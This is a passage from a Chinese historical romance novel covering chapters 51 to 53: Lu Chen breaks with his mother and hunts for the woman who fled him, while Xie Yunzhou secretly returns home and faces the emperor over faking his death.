陆谌却不闪也不避,咬着牙关生生受下,脊背反倒挺得愈发直如劲竹。 一连抽过十余下,藤条上已然见了血。郑兰璧突然停住,攥着藤鞭的手不住发颤,她微微抬起下巴,眼眶泛红:“你认不认错?” 那夜遇刺本就留着遗毒,骤然间挨过这么几下,陆谌几要跪立不稳,背上仿佛被烈火燎过,胸腔里一阵气血激荡,喉头也隐约泛起了血气。 然而身上越疼,心中便越悔。 眼前不受控地浮现起她手臂上的那道血痕,狰狞得刺目剜心。 恍惚间,只觉哪怕再受更多苦楚,也不能偿她半分委屈。 喉头剧烈地滚动了几下,强咽下那口翻腾的血气,陆谌抬眼看向他母亲。 只哑声问:“那日我不在,母亲便是如今日这般责罚于她的么?” 不想他竟偏执至此,郑兰璧鬓发散乱,喘着粗气,声音里是压不住的痛苦,“我此生只有你这一个孩子……我只是想看你娶一位贤淑贵女,同你绵延子嗣,安稳到老,这有错么?为何你就是不肯?!” “是么。”陆谌唇边忽而噙起薄薄的笑意,“不知母亲心中在意的,到底是儿子的安稳,还是您的体面。” “三郎!”郑兰璧气得嘴唇颤抖,“……你这是说什么混账话!” 祠堂里的烛火骤然爆开一个灯花,陆谌仰头望向父亲的画像,画中人的眉眼浸在烛影里,原本温和清雅的容貌显得愈发模糊。 他扯了下唇角,淡淡道:“母亲当真以为我什么都不知?母亲曾同郑家的西席先生有过一段旧情,可后来因那位西席出身微末,家世不显,您便断然弃他另嫁。 却不想十几年后风水轮换,陆家败落,原本的小小西席倒是仕途通达,官居三品,夫妻和顺……母亲素来心高气傲,始终拗着这口气,生怕儿子一个行差踏错,再教您再让人看轻了去,教人笑您嫁错夫门。母亲,我可曾说错?” 郑兰璧瞳孔骤然一缩,整个人不住地发起颤来,勉强撑靠着桌案才能站稳。 陆谌却恍若未觉,讥讽地牵起唇角,笑得凉薄。 “您是高门贵女,前半生风光显耀,人人艳羡,自然受不住夫家获罪败落后的世态炎凉,为此,当年我被判充军流放,临要被押解出京,哪怕明知从此死生渺茫,母亲却连一次都不曾去看过我。” “母亲想要的,从来都是一个能光耀门楣,给您挣来诰命的少年进士,而不是一个被废去功名、落得残疾的充军罪囚。” 遇见妱妱之前,没有人一心纯粹、别无所求地待他好,哪怕是生养他的母亲,也不曾例外。 除了他妱妱,没有人会要那个一无所有、半个残废的陆秉言。 他可以什么都不要。 独独不能失去他妱妱。 谁都可以背弃他。 独独他妱妱不可以。 半晌,陆谌伸手撑住身前的一块青砖,勉强借力站起身子,哑声道:“母亲先前问,是不是非妱妱不可。今日我便将话与您说个明白——是。就算舍了这条性命不要,我也必要将她寻回来。” “至于母亲想要的风光体面,我既已为您求回封诰,从今往后,母亲便当作,从未有过我这个儿子罢。” 说完,他也不再多留,暗暗咬紧牙关,吃力地转过身,朝门外走去。 迈下祠堂前的石阶,身后隐隐传来郑兰璧竭力压抑着的哽咽哭声。 陆谌微微地垂了垂眼,脚下半分未停,顶着凛冽的夜风,一步一步地朝着东院往回走去。《 》 50-60 第51章 线索 南衡一早听闻消息便赶了过来,一直守在祠堂门外,此刻见陆谌出来,神色阴郁难看,南衡大气不敢出,只不远不近地跟在后头。 陆谌一路沉默着,脚下步伐越来越沉缓,直到行至月洞门前,身形忽地一僵。片刻,他低低地唤了一声:“南衡。” 南衡闻声靠前了些,试探地看过去,“郎君?” 陆谌闭了闭眼,哑声道:“过来扶我一把。” 南衡愣怔了一下,赶忙伸手上前搀扶。手臂将一搭上去,陆谌便再也支撑不住,大半个身子沉沉压到他肩上,呼吸隐隐发颤:“……去寻些艾草来。” 南衡一惊,下意识地低头看向他左膝,“郎君的膝伤又犯了?” 陆谌疲倦地点了点头,额上的冷汗顺着鬓角滚落下来,洇湿了一小片中单领缘。 南衡心头骤然一紧,当即矮身弯下腰把人背负起来,疾步穿过庭院,匆匆送到主屋榻上安置稳妥,转身便奔去柜中翻找折柔先前留下的热敷方药。 疼得昏昏沉沉间,陆谌被他翻找药箱的声响惊动,微微蹙起眉,看着他动作,“……还有多少?” 南衡愣怔,等反应过来他是问草药的余量,忙将手里的小药箱拿回来给他看,“郎君放心,依着用量,至少还够三五回。” 三五回。 视线沉凝一霎,陆谌喉结艰难地滑动了一下,闭上眼转过了头。 这就是不用的意思了。 举着药箱的手僵在半空,南衡咬了咬牙,只能默默合上箱盖,转头去外院的库房里寻艾草。 屋外不知何时飘起了大雪。 大半年过去,院中那株石榴树已经长得枝桠繁盛,夜雪一片片飘落在枝头,压出簌簌的轻响。 陆谌闭目躺在榻上,微微蜷缩起身子,疼得意识昏沉,脑中混沌一片,听着窗外窸窣的声响,恍惚想起当初在洮州时,他们一起种下的那棵石榴树,也不知能否活过这个冬日。 南衡取了艾草回来,搓成细条引燃,空气里渐渐弥漫开草木燃烧的涩味。 单独熏艾虽也能祛寒止痛,效用却远不及娘子制备好的药包,可偏偏郎君不肯用,南衡也不敢违逆。 等到再处置好背上的鞭伤,换过干净里衣,一番折腾下来已近天明,陆谌总算缓和下来,勉强歇睡了一个多时辰,又要出门上值。 南衡见他这副模样还要强撑,忍了又忍,实是没忍住,脱口劝道:“郎君,您这身上还有旧伤呢,禁不住这么折腾,今日……今日就且先告个假吧。” 陆谌神色未变,目光越过庭院,望向那株覆满冬雪的石榴树。 须臾,他淡淡收回视线,哑声道:“不必。” 不能等。 他等不起。 腊月深冬,难得江南也落了一场薄雪,碎琼般的雪粒覆满枝头,在熟透的红柿上积染出一层白霜。 折柔一早起来,穿了身藕荷色的对襟褙子,双手拢在兔绒袖笼里,站在石阶下,看着水青和谢云舟从树上摘了柿子,往竹筐里装。 那两个竹筐是折柔事先预备出来的,稍大一些的打算拿去给吴大娘子一家三口,小一点的则是要单独拿去给吴家七郎。 眼瞧着水青挑出两个浑圆通红的大柿子,悄悄塞进了七郎那一筐,还往深处按了按,折柔一时忍俊不禁,含着笑唤了声水青,故意低声道:“一会儿可要先给七郎送过去,免得教吴大娘子瞧见,最大最红的柿子都在七郎那一筐里啦。” 不想这点小心思被自家娘子看个正着,水青耳尖倏地一热,难得显出几分羞赧,“娘子!” 折柔抿唇失笑,眉眼弯弯。 水青脸上愈发热烫,烧得快要比竹篮中的柿子还要红,她羞窘得快要冒烟,闷头抱起两个竹篮就往院外跑。 看着小丫头匆匆跑远的背影,折柔忍不住翘起唇角。 真好啊,还是少年人呢。 谢云舟倚靠在柿子树上,也跟着笑了笑,看向折柔:“九娘,这还有好些呢,你来帮我接着些。” 自打那日将话说开,两个人都心照不宣地闭口不再提及,日子一天天过去,交情温润如水,隐隐约约中像是有什么变化,又像是什么都没有,只是愈发熟稔亲近。 折柔走到柿子树下,微风掠过她褙子上的一圈雪白兔绒,绒毛细软,在她颈边柔柔地轻晃摇曳,日光斜斜映照下来,她脸上泛着微微的嫣红,笑容明媚柔软,整个人显见着比起前些日子松快了许多,眉眼间意态盈盈舒展。 低头看了一眼,谢云舟喉结微滚,忽然就起了玩心,忍不住探手出去,极轻极轻地,摇晃了一下树枝。 枝头的一小片积雪随着他的动作簌簌飘下,不偏不倚地落在折柔脸上,一瞬被温度化开,冰冰凉。 折柔低低惊呼一声,睫毛微颤着,睁圆了眼仰头望过去,“谢鸣岐!” “嗯,我在呢。” 偏那始作俑者斜倚在树干上,一条长腿闲闲地支着,懒洋洋地看着她笑,眼底倒映着细碎天光。 如今藏身在燕子坞里,他只穿着寻常布衣,连发冠也省了,只用一条布带将墨发随意扎作马尾,一双点漆般的眸子噙笑看着她,不像已经二十余岁的青年,倒是显出几分干净落拓的少年气。 折柔:“……”幼稚。 眼见谢云舟作势还要抖雪下来,她佯怒转身,“我不管了,等水青回来,教她和你一起摘罢。” 不想她竟似是恼了,谢云舟心头蓦地一紧,也来不及细思,纵身跃下了树干,几个箭步追赶上去,端量一眼她的神色,当即痛快认错:“九娘,我错了。” 折柔睨他一眼,只装作没瞧见。 瞧着她这就要回屋,谢云舟在原地咂摸了片刻,索性又折返回到柿子树下,扬起下巴,遥遥冲折柔“欸”了一声,“九娘——” 折柔微愣,转过身,不解地看他一眼,“嗯?” 见她回头,谢云舟忽然扬眉展颜一笑,下一瞬,在她的注视下,抬拳砸向树干。 晨光明澈,他笑得意气飞扬,折柔还不及反应,只听一阵扑簌声响起,枝叶上的积雪大片大片地落下来,霎时浇了谢云舟满头满脸,又有不少洒进了衣领,化成雪水,激得他背脊一僵,倒吸了一口凉气。 折柔错愕片刻,旋即回过神来,顿觉又好气又好笑,简直不知道要说他些什么好,“谢鸣岐,你今年几岁了?” 她回身摘下门后的软布掸子,走过去递给谢云舟,低声道:“快扫扫,免得一会儿着凉。” 谢云舟笑嘻嘻地接过来,微凉的指腹擦过她温热指尖,一触即离。 折柔眼睫微不可察地颤了一颤。 掸子拿到了手里,谢云舟却也不急着清理身上的落雪,反倒是微微弯下腰,低头去寻她的眼睛,“九娘,你不生气了?” 他额发上都是落雪,两道漆黑的剑眉也沾了白霜,鸦色长睫上挂着水珠,一双俊眸黑亮熠熠,干净纯粹至极。 折柔心口忽地一窒,下意识别开视线。 谢云舟眸光微微一动,正欲开口说些什么,却不想这时水青从院外跑了回来,手里似是紧攥着什么东西,急声唤人:“公子,公子!” 谢云舟一怔,蹙眉看去,“怎的了?” 水青匆匆奔到近前,将手中的细竹筒递上去,“婢子方才回来路过后院鸽笼,正巧瞧见有上京的消息!” 谢云舟神色微顿。 算算日子,上京的事应当有了着落,依着陆秉言的心性手段,他既然送上李桢这么大的一个把柄,教陆秉言攥在手里,徐崇和李桢九成九要被压得翻不了身。 只要再等等。 等到官家册立太孙,国本既定,他的身份便再也无足轻重,一切都如同当年先太子还在时一样,官家不必动旁的心思,他自然也过得他想要过的闲散日子。 思及此,谢云舟抬眸看了眼折柔,唇边不自觉地噙起些笑意,漫不经心地接过竹筒,取出信笺展开,扫了眼信上内容。 不想还未看完这寥寥数语,他脸色猛地一变,而后将纸张一把攥进手中,指骨用力得咯咯作响。 折柔见他神色不对,不由出声关切道:“怎么?出了何事?” 说起来,眼见着谢云舟在这里盘桓数月,一丝一毫都不急着回京,她心中不是没有怀疑,也直觉其中另有隐情,只是谢云舟既然不想说,她便也不多过问,如今见他这副神色,她心中隐隐觉得不安,既是担心他,也是怕其间会和陆谌有什么干系。 好半晌,谢云舟咬了咬牙,缓缓抬起头来,隐约还有几分难以置信,“我阿娘出事了。” 折柔闻言一惊,“……长公主?” 沉默片刻,谢云舟喉头剧烈地滚了下,一字一字艰涩地从齿缝里挤出,“腊八施粥,有流民作乱,冲撞了翟车,我阿娘不慎磕伤了头,昏迷不醒,生死未知。” 上京,禁军府衙。 南衡急匆匆穿过廊庑,疾步奔进值房:“郎君,果然有消息了!好消息!” 陆谌闻声抬起眼,眸光倏忽一紧。 南衡快步走到近前,压低了声音,却也难掩隐隐的激动,“郎君,周霄果然露了马脚!京中出事不久,他便避过人耳目偷偷放了信鸽出去。属下叫人用提前预备好的游隼跟上去,就追见信鸽飞到雍丘驿,那守驿郎将正是从前小郡王在泾原军中的心腹旧部,在雍丘驿又换了新的信鸽放飞,如今咱们的人已经跟了上去,沿路在寻。” 第52章 夜探 陆谌喉结猛地一滚,眸光锋锐如刀,紧紧盯住南衡,“消息可靠?其间可有惊动旁人?” 南衡神色一肃,低低应声:“郎君放心,消息绝无错漏,派出去的人手行事也极隐秘。只是还要等游隼一去一回,路上难免要耽搁些时日,还需郎君稍待。” 指节不受控地发起抖来,陆谌一霎攥紧手中朱笔,舌尖狠抵住齿关,迫着自己生生将那股灼心的焦躁压下去。 也罢。徐崇如今败局已定,人被收押在大理寺内监,两淮盐运一案取证清楚,三司会审已过,他只消趁这两日理清卷宗,写定结案奏疏,便可上呈通进银台司,交由官家裁夺。 至于官家最后如何处置,他早已不甚在意。 这半载光景煎熬过来,日日如受凌迟。而今,他必要亲自去寻她回来。 妱妱。 休想再离开他半步。 他绝不允准。 徐崇一案进展极为顺利,毕竟牵涉天家骨血,官家到底存了些回护之意,纵使李桢不得圣心、行事出格,终究也比外臣更近一层。 墙倒众人推,朝堂上自有人窥得圣意,将不少罪责统统推到徐崇头上,御史台也连上数道弹章,力求严惩。 三日后,不等官家下旨定罪,陆谌称病告了假,当即带人出京南下。 他只带了几个最得力的亲卫,轻骑简从,几乎是不眠不休,循着游隼的踪迹,疾驰了七个昼夜,终于赶到平江府外的燕子坞。 已是戌末时分,夜色浓沉,屋外风雪渐紧,寒气顺着窗棂间的缝隙丝丝缕缕地钻进来。折柔拢了拢衣襟,起身又往火盆中添了两块碎炭,铁钳轻轻拨过,炭火燃出哔啵声响。 正要将炉钳放回去,忽听屋外有人叩了叩门。 这个时辰,除了谢云舟不会有人来寻她。 折柔并未多想,放好炉钳,扑了扑手上沾染的细灰,走过去开门。 一拉开屋门,果然和谢云舟打了个照面。 “九娘。”见她出来,谢云舟倚着门框挑眉一笑,将手中的粗瓷碗递过去。 碗口热气腾腾,他的指腹被烫得微红,仍旧稳稳托着碗底, “夜里雪寒,我弄来了一碗姜汤,你喝完再睡。” 折柔心头一暖,伸手接过瓷碗,抬脸冲他笑笑,“明日还要赶路,你也早些歇息。” 谢云舟扬唇应好。 姜汤熬得热烫,不断滚着白汽,折柔捧着粗瓷碗,坐回到炭盆近前,小口小口地慢慢啜饮着,身上逐渐暖出了一层薄汗。 一碗姜汤饮尽,折柔搁下空碗,吹熄了灯烛,听着窗外风声呜咽,雪粒簌簌扑打向窗棂,她裹紧了被衾,整个人蜷成一团,安心地闭目入眠。 巷口一阵急促的马蹄声响,陆谌挟着一身冷雪寒气,利落地翻身下马,长靴碾过石阶上的薄雪,他片刻未停,径直上前,抬手推门。 院门没有上闩,应声而开。 小院里阗然无声,屋中熄了灯烛,檐下也没有挂起风灯,四下里黑魆魆一片。 陆谌三步并两步跨上石阶,抬手要推门,却又在触及门板的前一瞬蓦地顿住。 喉结剧烈地滚了滚,一开口,声音抑不住地紧绷发颤,“妱妱。” 没有人应声。 心头燥意轰然烧起,陆谌猛地推门而入。 屋中陈设简单素净,一眼便可望尽,入目所及,空荡荡的一片。 一把掀起隔断的布帘,只见卧房榻前的帐幔向两侧收起,一床被褥叠得整整齐齐,枕衾上犹带淡淡余香,四下里却不见她人影。 枕畔放着一本翻旧的太平圣惠方抄本,用宣纸叠作书签,没有折页,是她平素看书的习惯。窗边的小几上搁着一盒润手的膏脂,也是她惯用的味道。 这里是她的住处,不会有错。 可是,人呢? 陆谌脊背绷紧,猛地直起身,转身疾步冲出屋门,随行的护卫已经燃起火烛,将小院中映得亮如白昼,愈发显得院中空寂冷清。 陆谌脑中嗡嗡作响,仿佛有无数尖针发了狠地戳刺,他强抑住胸腔里翻腾的暴戾,指节攥得泛青发白,几要将院中每一寸地皮掀开来找,却始终不见她半分踪迹。 屋前院后,连她半片衣角、半缕发丝都不曾留下。 她不在。 明明这砖瓦陈设,衣裳被褥,到处都是她生活过的气息,枕衾间还留着她身上的杏花淡香。 可偏偏,她不在。 胃里仿佛被什么狠狠翻搅,尖锐的痛意猛然翻涌上来,刹那间席卷全身。 陆谌猛地抬手按住心口,苍白瘦削的下颌死死绷紧,胸腔里的痛意却越来越烈,疼得他几乎喘不过气,眼前一阵阵地发黑。 肺腑间仿似被人狠力揉撕成一团,陆谌不得不佝偻起腰背,猛烈地咳嗽起来,修长的指缝间转眼渗出一大片殷红血色。 南衡失声惊呼:“郎君!” 陆谌闭了闭眼,强自咽下喉头那口腥血,再抬眸时,眼尾已是赤红一片:“去,把屋主……给我带过来!” 南衡赶忙应了一声,转身疾步出门,不多时,便将家住巷口的吴大娘子带到了院中。 时辰不早,吴大娘子原已安置歇下,又突然被人喝令起身,正要发作骂人,可一开门,就见数个劲装男子冷脸肃立在门前。 一行人个个玄袍皂靴,腰挎长刀,一看便是大有来头的武人,她如何还敢招惹?只能胡乱披了件夹袄,战战兢兢地跟随过来。 如今见了陆谌,她心中愈发惶惶,上前忐忑地唤了一声:“官人。” 听见声响,陆谌撑着门框缓缓转过身,目光如刀,一寸寸剐过妇人惊惶的面容:“你是屋主?” 吴大娘子被那眼神吓得双膝发软,颤声应是。 陆谌喉结滚了滚,声音沉哑,一字一字仿佛从齿缝间生生挤出,“这屋里的人呢?去了何处?几时走的?” 眼瞧着他这副暴戾模样,想来八成是九娘的仇家,要寻人算账。 吴大娘子心中犹豫挣扎一瞬,终究还是不敢再含糊,心一横,将自己知晓的消息一股脑地交待出来:“他们走了大约有七八日了,听说是要去钱塘访友……” 他们。 她是和谢云舟一道离开的。 算算日子,想必是收到长公主出事的消息不久,便收拾了行装上路。 陪他一同回上京么? 这个念头一生出来,陆谌指节骤然发白,心口像被毒蛇狠咬了一口,疼得他呼吸猛然一滞。 好半晌,陆谌抬起手,示意护卫将吴大娘子带出去。 院中复又空落下来,他缓缓转头看向南衡,眸光冷冽如冰,“我记着,皇城司似乎一直在寻谢云舟的下落?” 南衡点头,道了声是,“这几个月来,皇城司一直不停地往外调派人手搜寻,可小郡王始终是活不见人死不见尸,冯司使为此已受了官家不少责骂了,再这般下去,怕是要官职不保。” 陆谌微微扬起脸,凝望着远处黑浓如墨的夜幕,无声而轻蔑地扯了扯唇角,一字一句道:“即刻给京中传信,寻个机会,把京郊行宫的旧事透给冯綦,再教他这两日盯紧胥国公府,泼天的封赏就在眼前。” 南衡肃容,当即领命应是。 不多时,茫茫夜色中,游隼振翅而起,掠过院子里的柿树,在上空盘旋片刻,便朝着西北方向疾飞而去。 ** 上京,禁中。 福宁殿中青烟袅袅,阗寂无声。四角的暖盆里红罗炭燃得正旺,只偶尔听得见炭火爆出的几声哔啵。 官家裹着件厚狐裘,神色倦乏地倚靠在圈椅里,手边的汝瓷药盏已经搁得没了热气。 自打小郡王出了事,官家显见着一日比一日地憔悴下去,怀忠看在眼中,心里极不是滋味,只能竭力劝慰:“官家切要保重龙体……等小郡王回来……” 许久无人应声,官家沉沉叹了口气,“你说,他可还活着么?” 怀忠登时一个激灵,忙道:“自然!小郡王可是有福之人……” 官家却不再说话,只低垂着眉眼,瞧不清心思,也没甚生机。 怀忠还要再劝,忽听殿外有小黄门通传,称皇城司指挥使冯綦求见。 官家动作一顿,抬手示意召见。 不多时,冯綦匆匆入内,由着黄门引到御前,向上行了一礼,尽管已是竭力压制,声音里仍是泄出一丝振奋,“启禀官家,有小郡王的消息了。” 大殿内霎时一静,几乎落针可闻。 官家缓缓抬起眼来,死死盯住冯綦,苍白指节不自觉地扣紧御案,好半晌,方才嘶哑着嗓音道:“……说。” 冯綦上前半步,低声禀道:“此事别有牵涉,还请官家屏退左右。” 停顿片刻,官家微抬了抬指尖,殿内侍立的宫人立即低垂了头,悄然无声地鱼贯而出。 怀忠留在最后,轻手轻脚地退出殿外,没敢走远,只在廊下静立等候。过了约莫半柱香的功夫,他刚刚从值殿的小黄门手中接过一盏暖茶,忽听大殿内“砰”地一声巨响,不知是何重物被掷到了地上,紧接着又接连几声咣当巨震,似是案牍奏折被尽数扫落,哗啦啦地散落了一地。 怀忠浑身一颤,险些打翻手中茶盏,殿门外一众黄门内侍面面相觑,皆是大气不敢出,浑身冷汗直流。 ** 风雪过后,折柔一夜好眠。 那日乍然听闻长公主出事,也说不清缘由,她心中始终不能安定,又隐约直觉和陆谌相干,索性简单收拾了些行装,同谢云舟一道北上。 已是腊月年底,如此既能回爹娘的坟前看一看,一路上也算互相有个照应。 他们先是乘船到楚州,因着北运河结冰,又转从陆路,一连赶了十几日的路,待行到上京城外时,已经是临近年节。 此处离上京城还有几十里路,正好遇上风雪大作,折柔原也不打算进城,便只寻了处客栈落脚。 天光大亮,折柔起身收了帐幔,下榻洗漱。 屋里燃了一夜的炭火,空气闷得凝滞,她上前将窗扇推开一小道缝隙,朔风一瞬卷着细雪扑进来,冷气入肺,带起一阵细微的刺痛。 尽管已经过去了数月,可一想到上京城,一想到上京城里的那个人,仍是让她不受控地感到心悸,隐隐约约地,只想尽快离开。 谢云舟上楼来送羊肉汤饼,正见她望着窗外官道出神,猜她是急着赶路回乡,便从后唤了声九娘,“这等天气急不得。” 折柔闻声回头。 谢云舟噙笑斜倚在门边,骨节分明的一只手端住面碗,朝窗外扬了扬下巴,啧道:“你瞧瞧那边的山石,但凡沾上了雨雪,一块块松滑得跟抹了油似的,一脚下去能滚出二里地。你且先安心在客栈里歇一歇,等风雪彻底停了再上路。” 折柔顺着他的视线看过去,只见雪幕灰蒙,山石嶙峋,却瞧不出其间门道,“你对这一带的地形很熟?” 谢云舟放下面碗,懒洋洋地抻了抻筋骨,扯唇一笑,“八岁那年,我和家中闹了别扭,一个人偷溜出城,四处胡乱奔走,最后闯进了这边的林子里,偏巧遇上大雨山崩,险些丢了一条小命。” “八岁?”折柔微微吃了一惊,又不禁想笑,“你那时候人不大,脾气和胆子倒是都不小,难怪从小就是上京一霸。” 静默一霎,谢云舟也不知是想到了什么,自嘲似的笑了下,“我自娘胎里带了弱症,他们生怕我一个不小心就夭折了,所以极少管教。” 谢云舟唇边仍噙着那副懒散的笑意,折柔却分明瞧见了他眼底一闪而过的的晦色,像是狼狈,却又看不真切。 他一向张扬跳脱,仿佛不知世间愁滋味,折柔极少见他这般模样,也不知是什么牵动了他的心事。 可越是这般强撑无谓,反倒越是显出几分可怜,像只躲在暗处、倔强舔伤的小兽。 折柔心头莫名一软,想要开口劝慰,一时却又不知要从何说起。倒是谢云舟扬唇笑笑,漫不经心地搅了搅面条,轻巧地把话头岔了过去,“不说了,面要凉了。” 两人用过朝食,谢云舟同折柔说起他要入城的事。 前日周霄送了信,说他阿娘的伤势已无大碍,人也醒转过来,只是气血仍亏,如今在府中闭门谢客,安心静养。 当初在淮安时,他受情势所迫,无暇顾及利弊后果,一心只想趁机斩断和官家的血脉牵连,计划事起仓促,成与不成,只在一念之间,容不得他犹豫。 事后这几个月过来,他其实一直不敢去深想,他爹娘得知消息后,又会做何反应。 尽管不是生身父母,可他们待他更胜亲生骨肉万分。 事已至此,无论如何,他都需得冒险潜回去一趟,再见他爹娘一眼,否则此生难安。 折柔闻言点了点头,“多加小心。” 谢云舟扬眉一笑,收了碗筷站起身来。临到门边,脚下忽又站定,回头看了她一眼。 “九娘,等我回来。我送你回乡,正好……也去你爹娘坟前上炷香。” 折柔愣怔片刻,忽也弯唇笑了,眉眼盈盈舒展,“好,我等你。” 临近年节,上京城中已是一派热闹景象,四处人潮涌动,长街上香尘铺路,张灯结彩,谢云舟压了压斗笠,走到胥国公府斜对街,寻了一家不起眼的茶肆落座。 一直等到御街上暮鼓声响,屋外天光渐黯,夜色浮起,府中护卫巡守过一轮,正准备换防。 谢云舟掐准时辰,径直来到胥国公府后街的院墙下,足尖轻点,纵身一跃翻上墙头。 伏身看了一眼,院中四下无人,他心下微松一霎,如猫儿般轻巧落入院中,借着夜色遮掩着身形,不多时,便轻车熟路地绕到爹娘居住的正院主屋。 廊下风灯轻摇,屋内烛光透过重重桃花纸,在窗上晕染出一片暖黄的光影。 借着粗实的廊柱掩住身形,谢云舟悄无声息地贴近窗棂,指尖在窗纸上轻轻一戳,屏住呼吸,凑近向屋内看去。 透过半张泥金花鸟锦屏的缝隙,长公主斜倚在罗汉软榻上,只穿着一身燕居大袖,也没戴珠钗首饰,鬓发间还缠着几圈细布,正捧了药碗慢慢啜饮。 “今日头还晕么?”胥国公卸了玉带,换过一身家常便袍,走到榻前坐下,探手抚了抚她的额头。 见他过来,长公主随手放下药碗,懒怠地轻嗯了一声。 闻言,胥国公语气顿时变得不善,“明个儿叫那医官局再换个人过来,这苦药都灌了几天了?屁用没有!再不见效,我倒是要去问问那姓于的,他这院判还想不想干了。” 长公主微微蹙眉,叹了口气,怅怅道:“和他们不相干,你也清楚,我是心病。眼瞧着,这就到年节了……” 后半句没有说出口,可夫妻二人心里都清楚那一处隐痛,自从听闻消息,这数月以来彼此都刻意回避,轻易不敢提及。 胥国公神色不由一滞,半晌,刚要说些什么,却倏地眯起眼睛,不动声色地偏了偏头,用眼角余光扫向窗外。 瞧见他脸上异色,长公主愣怔了一瞬,正欲开口询问,胥国公骤然扣住她的手腕,用眼神示意她噤声,随即若无其事地站起身,温声道:“我去给你倒盏茶来,漱漱口。” 谢云舟在窗外静静看了一会儿,见父亲起身往这边走来,他直觉不对,正要抽身后退,却不防窗户猛地被人破开,“咔嚓”一声,碎木飞溅中寒光乍现,身侧一把锋锐短匕直插而出—— 谢云舟眸光一紧。 他这趟回府为了避人耳目,身上没带兵刃,此刻难以格挡,只能勉强闪躲,然而不等他站稳身形,胥国公已经探身出窗,手下没有分毫凝滞,又快又狠,径直向他咽喉攻去,谢云舟急退半步,仓促避开。 眼看他若是还手拆挡下去,势必要惊动府中护卫,届时闹出更大声响,人多眼杂,更难收场。 谢云舟只能收手卸力,任由父亲寻到空隙,一把钳住自己的手腕狠狠反剪到身后。 腕上陡然一阵剧痛,他倒抽一口冷气,不及胥国公开口喝问,咬牙低低急唤了一声,“爹爹,是我。别声张。” 胥国公闻声猛地一怔。 几乎是不可置信地抬眼看过去,映着廊下昏黄飘摇的灯火,胥国公看清了来人的样貌,虎目骤然一缩。 “鸣岐……”他本能地松开了禁锢,人却仍是恍在梦中,不大敢信,勉强克制着,颤声惊道,“鸣岐?!你回来了?” 手上的劲力卸去,谢云舟眉心紧蹙,下意识想要转身离开。 长公主听见声响倏然抬头,还不及起身,就见谢云舟正活生生地站在直棂窗外,侧脸微微绷紧,身形挺拔清俊,和从前别无二致。 心口猛烈地震颤一瞬,她几乎是脱口唤出了声,“鸣岐!” 谢云舟猛地一顿。 长公主一眨不眨地看着他,胸口急促地起伏了几下,竭力将声音放得平稳:“鸣岐……你转过来,到阿娘这儿来,让阿娘看看。” 谢云舟身形微僵了僵,垂在身侧的手一瞬紧握成拳。 他设计假死脱身一事,他爹爹和阿娘不知还好,可一旦知晓了,日后一个不慎,难免要牵涉上欺君的罪名。哪怕官家不会当真对他阿娘怎样,可迁怒之下,难保不会吃些苦头。 他本不该回来,更不该在此刻相见,原想过来看一眼放心了就走,可不成想他爹警醒至此,眼下已是避无可避,既如此,索性把话彻底说开,也算给他们一个交代。 咬了咬牙,心一横,谢云舟跟着父亲进了屋。 不待他走到榻前站定,长公主已经急急攥起他的手腕,指尖微颤着,将他从头到脚一寸寸看过去,直到确认他全须全尾、浑身上下毫发无损,紧绷着的肩背才微微松懈下来,却仍是攥着他不撒手,喉间微微哽咽出了声。 谢云舟心里也极不是滋味,喉结微滚了滚,老老实实地静立在原地,任由她反复打量检视。 屋内烛光明亮,他目光不觉间落到自家爹娘身上,只扫了一眼,心口却猛地缩紧。 不过短短数月未见,胥国公两鬓竟泛起斑白,眉宇间尽是疲色,长公主原本是珠圆玉润的富态样貌,如今也已憔悴清减了一圈, “爹爹,阿娘……”谢云舟喉头一哽,心中愧疚难当,直挺挺地跪了下去,重重叩首认错,低声道:“对不住,都是孩儿不孝。” 这一声“阿娘”入耳,长公主霎时红了眼眶,一时间语无伦次,正要拉他快些起来,廊下忽然传来一道冷冽阴沉的声音。 “你还知道自己不孝?” 话音未落,那道雷霆沉怒的目光已从身后直刺了过来,冷寒得像浸了冰水。 谢云舟猛地一僵,脊背骤然绷紧。 第53章 夜奔 夜色深沉如墨,冷风卷着细雪灌入室内,官家裹了件玄色狐裘,怀忠弓着身子,小心翼翼地扶着他迈过朱漆门槛。 谁也不曾料到,这个时辰,官家竟会突然驾临于此,长公主和胥国公皆是一惊,甚至不及回神行礼。 官家缓缓在圈椅中坐下,稍抬了抬手,示意他二人暂且退下,“朕有话,要单独同这孽障讲。” 长公主望着跪在地上的儿子,神色间犹豫不忍,胥国公见状,默声拍了拍她的手,扶着她起身离开。 屋内复又归于沉寂,安静得落针可闻,烛火忽地一颤,噼啪爆出一个灯花。 谢云舟直挺挺地跪在地上。 官家凝望着身前几步开外的青年,唇边浮起一丝冷笑:“你一早便知晓了,嗯?” 谢云舟目光低垂,盯着地上花砖的纹路,眼皮动也未动,“是。” “那为何不与朕相认?” “因为……不愿。” 官家一瞬被气得笑了,眼眸危险地眯起:“好得很……若非冯綦查知旧事,朕还不知,在你眼中,朕的血脉竟这般见不得人、让你觉得如此不堪,以至于不惜假死遁逃,也要斩断这父子天伦。” 谢云舟咬了咬牙,下颌绷出一道冷冽的线条。 官家的目光沉沉逼视下来,嗓音也变得冷寒,“你可知,欺君该当何罪?助你脱身之人,又该当何罪?” 谢云舟脊背挺得笔直,“臣自知有罪,无论官家如何处置,绝无二话。但假死是我,欺君是我,亲随护卫亦是受我所迫,从头至尾,皆是我一人所为,至于……” 他忽而停顿一霎,喉结上下滚了滚,将已到嘴边的“爹爹和阿娘”生生咽下去,唤了称呼,“至于胥国公和长公主,他们全然不知情,更不曾为我隐瞒过半分,还望官家,莫要迁怒旁人。” “绝无二话……”官家怒极反笑,一字一顿地咬着这几个字,“好一个绝无二话……不愧是朕的好儿子,倒是有种。” 谢云舟低着头,一言不发。 “朕待你不好么?”冷眼看着他那副抗拒的模样,官家缓缓攥紧了桌案,指节用力得泛白,“你扪心自问,这二十余年来,朕是怎么待你的?” “舅舅待我,恩重如山。” 谢云舟依旧低垂着眼,只喉结微滚了滚,慢慢出声:“从小是舅舅教我读书写字,教我骑射策论,小时候去校场习武,用的第一柄木剑,第一张角弓,都是舅舅亲手做的,那年我发了疹,哪怕舅舅政务繁忙,也破例将我养在福宁殿里,教太医日夜看顾。我这小半生过得顺风顺水,随心恣意,全仗舅舅庇护。” 听他说起这些细碎往事,官家胸口逐渐泛起痛意,一双眼紧紧地盯住他,连嘴唇都在颤抖,“你既然清楚至此,为何还要做出那等不忠不孝的悖逆之事?!” 默然片刻,谢云舟神色平静,一双俊眸冷淡如深潭:“……我听闻了一个故事。” 官家微微一怔。 